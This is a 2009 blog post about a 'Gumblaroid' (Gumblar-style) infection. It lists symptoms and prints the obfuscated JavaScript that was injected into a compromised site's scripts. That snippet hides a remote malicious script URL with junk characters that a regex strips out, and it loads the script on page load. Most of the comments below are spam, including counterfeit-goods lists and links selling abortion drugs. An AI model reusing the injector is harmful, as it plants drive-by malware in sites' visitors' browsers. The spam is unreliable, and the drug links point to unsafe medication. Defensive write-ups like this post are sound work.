Thursday, December 24, 2009

"Gumblaroid" Virus

Yesterday my computer lab where I host 5+ workstations has been attacked by a virus which is called "Gumblaroid" as I have figured
out today. To make a long story short - I ended up resurrecting drive C from a backup. I recommend that you check your system for stability at least once a week
 and make a full image of drive C every week. Keep a history of at least few months back.

Symptoms:

1. You visit some site (I used FireFox) i.e. - click on a link in email or something like this

2. In about 30-50 seconds you get "You <something> was installed" popup (regular Windows GUI), so the infection has already happened

3. Run "netstat /a" in command prompt - you will see 100s if not more out-bound SMTP-port connections

4. Virus links with core Windows processes so if you run "netstat /a /b" you will see things like "svchost.exe" that create this traffic -

this is because virus has attached as a DLL into legit Windows process.

5. Any attempt from any browser to open Google and search for anything results in a return of a blank page (zero-length HTML content) -

virus blocks TCP/IP inbound from Google search result page (same for Yahoo). You can use other search engines like "Rambler.ru" while this happens.


Today I have figured out how I got it, I was served a regular page from a PHP-powered site and a piece of turd has attached itself to the tail of all JavaScripts on the WebServer. This turd has been "sanitized" and is presented below.

This is what was served to me from malevolent site:

/*GNU GPL*/ try{window.onload = function(){var Kjnilav1ca = document.createElement('s@@!@c@!r&)(i##p)&@t)'.replace(/\)|\!|&|\^|\$|@|\(|#/ig, ''));Kjnilav1ca.setAttribute('type', 'text/javascript');Kjnilav1ca.setAttribute('src',  'h(t$(!)t!p#@#(:@$/^&$$^/^&w)e))@l&#^)t#!!)-$d##&e#.@k)a#)i^x(@(@i(()^n!#^.&&c@o$m!.^)g$&)$a)!&#m!((e)(#z!$t&(&$a&&r@&#-$#c)$@o$m@$.^!w$@o@r&!l&@&d)&#m$(u^#s!@!i!&$@c)m^^(a@&g)^&a#&z^!(i!n#)^^e)&.@!^r^u$^:&$8!0()8#!0)!/#$@s)($o)!u(&t$!$)h!@^w()e@s!t!.@@&c)@!^)o&#m&&&$@/!)&s)^o@!!(u)!t^h@$w!)#!e!s&t(#.!@))!c$^o@)m)@@/&&g&#o(o)(^g)&l($)#)e@&^^^.@#c@$(o$^m@#!#/&d@!$i()#s(c@$^u&)s$^!)s^#@)).(!c#$^o#&!m(^$(.$h#^k#/)^1@$&($6!#3$.@!c@#^o)(m$&/('.replace(/\!|\^|&|@|\)|#|\(|\$/ig, ''));Kjnilav1ca.setAttribute('defer', 'defer');Kjnilav1ca.setAttribute('id', 'Z$@7&^q)a$(!5!&9#(w&)#7$e@l^^'.replace(/\)|#|\!|\^|&|@|\(|\$/ig, ''));document.body.appendChild(Kjnilav1ca);}} catch(e) {}

Obviously, different sites have different mutations of the same thing as it uses Regexes to crap-up itself.
Please check this link by Daniel Ansari for info how to remove this infection:


21 comments:

Anonymous said...

You have to express more your opinion to attract more readers, because just a video or plain text without any personal approach is not that valuable. But it is just form my point of view

Anonymous said...

One of my friends already told me about this place and I do not regret that I found this article.

Weiming Zhu said...

ugg boots
air jordan 13
air jordan shoes
beats headphones
bottega veneta outlet
burberry outlet
canada goose outlet
chanel outlet
cheap wedding dresses
coach outlet
dansko outlet
evening dresses
hermes belt
hermes birkin
hermes outlet
juicy couture outlet
kate spade outlet
mbt shoes
michael kors outlet
mizuno running
moncler coats
mulberry outlet
soccer shoes
nike outlet store
the north face outlet
oakley sunglasses
ray ban sunglasses
stuart weitzman boots
surpa sneakers
north face outlet
the north face clearance
the north face jackets
the north face outlet store
north face jackets
the north face uk
tommy hilfiger outlet
tory burch outlet
true religion jeans
vans shoes
ysl outlet

oakleyses said...

kate spade outlet online, nike air max, tory burch outlet online, ugg boots clearance, prada handbags, nike air max, ray ban sunglasses, michael kors handbags, chanel handbags, jordan shoes, nike outlet, longchamp outlet online, gucci handbags, christian louboutin, christian louboutin shoes, burberry outlet online, ugg outlet, oakley sunglasses, louis vuitton outlet, ray ban outlet, nike free, cheap oakley sunglasses, cheap ugg boots outlet, louis vuitton, longchamp outlet, michael kors outlet online, polo ralph lauren outlet, burberry outlet online, christian louboutin outlet, michael kors outlet online, oakley sunglasses, ray ban sunglasses, oakley vault, ugg australia, cheap ugg boots, red bottom shoes, replica watches, michael kors outlet, tiffany and co, tiffany jewelry, louis vuitton outlet online, replica watches, polo ralph lauren, prada outlet, louis vuitton handbags

oakleyses said...

guess pas cher, nike air max, nike roshe run, mulberry uk, coach outlet, true religion outlet, true religion outlet, new balance pas cher, abercrombie and fitch, longchamp, nike air max, scarpe hogan, air max pas cher, sac vanessa bruno, ray ban pas cher, nike roshe, north face, coach purses, burberry pas cher, nike free pas cher, lacoste pas cher, timberland pas cher, coach outlet, michael kors uk, michael kors, nike free, longchamp pas cher, tn pas cher, hollister uk, vans pas cher, true religion jeans, ray ban uk, true religion, michael kors outlet online, north face pas cher, hermes pas cher, air jordan, lululemon outlet online, hollister, michael kors canada, louboutin, nike blazer pas cher, kate spade outlet, coach outlet store online, oakley pas cher, converse pas cher, nike air force, ralph lauren uk, air max, ralph lauren pas cher

oakleyses said...

nike air max, longchamp, new balance outlet, oakley, mcm handbags, nike roshe, ferragamo shoes, nfl jerseys, asics shoes, ralph lauren, celine handbags, mont blanc pens, hollister, s6 cases, baseball bats, soccer jerseys, nike air huarache, p90x workout, hollister clothing store, bottega veneta, giuseppe zanotti, insanity workout, abercrombie and fitch, ghd, iphone cases, valentino shoes, mac cosmetics, herve leger, iphone 6 cases, iphone 5s cases, lululemon outlet, instyler ionic styler, north face jackets, vans outlet, wedding dresses, soccer shoes, north face jackets, jimmy choo shoes, iphone 6s plus cases, birkin bag, beats headphones, timberland boots, nike trainers, iphone 6 plus cases, louboutin, reebok shoes, babyliss, chi flat iron

oakleyses said...

pandora jewelry, swarovski uk, canada goose, moncler outlet, links of london uk, coach outlet, ugg boots, hollister canada, sac lancel, marc jacobs handbags, air max, pandora jewelry, converse, replica watches, vans, wedding dress, uggs outlet, canada goose pas cher, canada goose, uggs canada, louis vuitton uk, moncler, barbour, gucci, supra shoes, moncler outlet, canada goose, canada goose outlet, doke gabbana outlet, moncler, juicy couture outlet, sac louis vuitton, canada goose, canada goose outlet, montre femme, thomas sabo uk, ugg soldes, louis vuitton, louis vuitton pas cher, moncler, swarovski jewelry, michael kors outlet online, louis vuitton canada, barbour jackets, converse shoes, ugg, canada goose outlet, ugg, ray ban, karen millen, moncler

mmjiaxin said...

ferragamo shoes
michael kors outlet
rolex watches outlet
tory burch outlet online
michael kors handbags
coach outlet store
mac cosmetics
michael kors outlet online
wellensteyn outlet
michael kors outlet
canada goose outelt
air max 2014
ray ban,rayban,occhiali ray ban,ray-ban,ray ban occhiali,ray ban sunglasses
woolrich outlet store
fred perry polo shirts
michael kors outlet
tiffany outlet
canada goose jackets
oakley outlet store
mizuno running shoes
mm1202

方松腾 said...

ugg boots
cheap oakley sunglasses
true religion sale
air jordan 11 free shipping
toms outlet
louis vuitton outlet
michael kors outlet,michael kors outlet online,michael kors,kors outlet,michael kors handbags,michael kors outlet online sale,michael kors handbags clearance,michael kors purses,michaelkors.com,michael kors bags,michael kors shoes,michaelkors,cheap michael kors
north face jackets
ferragamo shoes
soccer jerseys,soccer jerseys wholesale,soccer jerseys cheap,soccer jerseys for sale,cheap soccer jersey,usa soccer jersey,football jerseys
ugg boots on sale
vans sneakers
oakley sunglasses
fitflops outlet
coach outlet online,coach purses,coach handbags,coach bags,coach handbags sale,coach handbags outlet

Cran Kate said...

Tory Burch Flats Marc Jacobs Handbags Jimmy Choo Shoes Jimmy Choos True Religion Outlet ED Hardy Outlet
Burberry Belt Tory Burch Boots Louis Vuitton Belt Ferragamo Belt Marc Jacobs Handbags Lululemon Outlet Christian Louboutin Shoes True Religion Outlet Tommy Hilfiger Outlet
Michael Kors Outlet Coach Outlet Red Bottoms Kevin Durant Shoes New Balance Outlet Adidas Outlet Coach Outlet Online Stephen Curry Jersey Vans Outlet Ralph Lauren Outlet
Ugg Boots Sale UGGS For Women Skechers Go Walk Adidas Yeezy Boost Adidas Yeezy Adidas NMD Coach Outlet North Face Outlet Ralph Lauren Outlet Puma Outlet Polo Outlet

Outlet Wade said...

christian louboutin store red bottom shoes christian louboutin christian louboutin outlet red bottoms shoes on sale mizuno wave prophecy 3 authentic christian louboutin outlet fitflop outlet cheap mbt shoes fitflops sale mbt shoes sale mizuno running shoes mbt shoes for men cheap ray ban sunglasses cheap oakley sunglasses ray ban sunglasses outlet Ray Ban Wayfarer oakley sunglasses outlet ray ban online new jordans cheap jordan shoes Cheap Nike Air Max Cheap Jordans nike free 5.0 Nike Outlet

chenlina said...

chenlina20161027
ugg boots paris
louis vuitton outlet
minnesota vikings jerseys
coach outlet
washington wizards jerseys
fitflops sale clearance
ray ban sunglasses
cheap oakley sunglasses
ugg boots
oakley sunglasses

chenlina said...

chenlina20161027
michael kors outlet
ugg outlet
ray bans
fitflop shoes
seattle seahawks jerseys
cheap ray ban sunglasses
kate spade outlet
los angeles clippers jerseys
adidas outlet
oakley sunglasses

cara menggugurkan kandungan said...

This blog is so nice to me. I will continue to come here again and again. Visit my link as well. Good luck
http://www.jualobataborsiherbal.com/ obat aborsi
http://caramenggugurkankandungan.info/ cara menggugurkan kandungan
http://obataborsi59.com/ obat aborsi
http://obataborsi59.com/cara-menggugurkan-kandungan-dengan-cepat-dan-aman/ cara menggugurkan kandungan
http://obattelatdatangbulan.info/ obat telat datang bulan
http://klinikobataborsi.com/ jual obat aborsi
http://jualobatpenggugurkandungan.net/ obat penggugur kandungan
http://tandatandakehamilan.net/ tanda tanda kehamilan
http://tandatandakehamilan.net/cara-cepat-dan-selamat-menggugurkan-kandungan/ cara menggugurkan kandungan

GIL BERT said...

adidas nmd
philadelphia eagles jerseys
patriots jerseys
ed hardy clothing
omega watches for sale
coach handbags
detroit lions jerseys
cheap ray bans
ecco shoes
chicago bulls jersey

John said...

coach outlet online
tods outlet
columbia outlet
nike air max 95
coach outlet online
pandora jewelry store
coach handbags outlet
coach factory outlet online
kate spade outlet online
nike air max
20170704yuanyuan

qqq said...

michael kors outlet store
jimmy choo
kate spade handbags
yeezy boost
pandora jewelry
ultra boost
pandora jewelry
louboutin chaussures
under armour shoes
coach factory outlet
170810yueqin

Avijeh Reportage said...

بخواهیم بگوییم، پکیج دیواری یک نعمت بزرگ برای شماست تا با استفاده از آن از

Avijeh Reportage said...

Airplanes News
i agree too

Avijeh Reportage said...

قسمت‌های ساخته شده تابلو روان LED، مجموعه‌ای از دیودهای نورانی می باشند که در یک صفحه به گونه ای ماتریسی قرار داده شده‌اند و توسط نوعی برنامه رایانه‌ای نوشته‌ها، تصاویر، کلیپ‌های ویدیویی و... روی آن قابل نمایش خواهد بود. شاید بسیاری از تابلوهای روان را دیده باشید که در سطح شهرها و برای تبلیغات محصولات مختلف و یا تبلیغات فرهنگی و... از آن ها استفاده می شود. جالب است بدانید که بارزترین مشخصه تابلو روان LED جذابیت، عمر طولانی قطعات، قیمت کمتر نسبت به دیگر محصولات تبلیغاتی و پر بازده بودن آن است، نقش این تابلوها در تغییر رونق کسب و کار و تبلیغات این روزها انکار ناپذیر است. تابلوهای پیام نمای LED روان امروزه به عنوان ابزار اطلاع‌رسانی در اکثر مکان‌ها از جمله سر درب فروشگاه‌ها، مغازه‌ها، جایگاه‌های سوخت، رستوران‌ها، مجتمع‌های تجاری، فضای داخلی نمایشگاه‌ها، سالن‌های انتظار بیمارستان‌ها و درمانگاه‌ها، سالن‌های و مجموعه‌های ورزشی و فرودگاه‌ها و... استفاده می‌شود.

Love Kpop said...

It seems I'm on the right track, I hope I can do well. The result was something I did and was doing to implement it.
www.clickjogosclick.com